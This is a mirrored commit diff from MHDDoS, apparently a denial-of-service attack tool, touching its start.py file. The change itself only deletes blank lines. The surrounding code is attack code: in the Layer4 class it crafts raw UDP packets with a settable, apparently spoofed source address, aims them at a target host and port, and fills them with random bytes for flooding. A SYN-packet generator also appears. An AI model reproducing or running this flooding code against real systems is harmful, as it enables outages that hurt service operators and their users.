mirror of https://github.com/MatrixTM/MHDDoS.git
Update start.py
This commit is contained in:
parent
a02d1f06c7
commit
c8c54d31b6
4
start.py
4
start.py
|
|
@ -586,16 +586,12 @@ class Layer4(Thread):
|
||||||
ip: IP = IP()
|
ip: IP = IP()
|
||||||
ip.set_ip_src(__ip__)
|
ip.set_ip_src(__ip__)
|
||||||
ip.set_ip_dst(self._target[0])
|
ip.set_ip_dst(self._target[0])
|
||||||
|
|
||||||
udp: UDP = UDP()
|
udp: UDP = UDP()
|
||||||
udp.set_uh_sport(ProxyTools.Random.rand_int(32768, 65535))
|
udp.set_uh_sport(ProxyTools.Random.rand_int(32768, 65535))
|
||||||
udp.set_uh_dport(self._target[1])
|
udp.set_uh_dport(self._target[1])
|
||||||
|
|
||||||
payload_data = bytes([ProxyTools.Random.rand_int(0, 255) for _ in range(40)])
|
payload_data = bytes([ProxyTools.Random.rand_int(0, 255) for _ in range(40)])
|
||||||
|
|
||||||
udp.contains(Data(payload_data))
|
udp.contains(Data(payload_data))
|
||||||
ip.contains(udp)
|
ip.contains(udp)
|
||||||
|
|
||||||
return ip.get_packet()
|
return ip.get_packet()
|
||||||
|
|
||||||
def _genrate_syn(self) -> bytes:
|
def _genrate_syn(self) -> bytes:
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue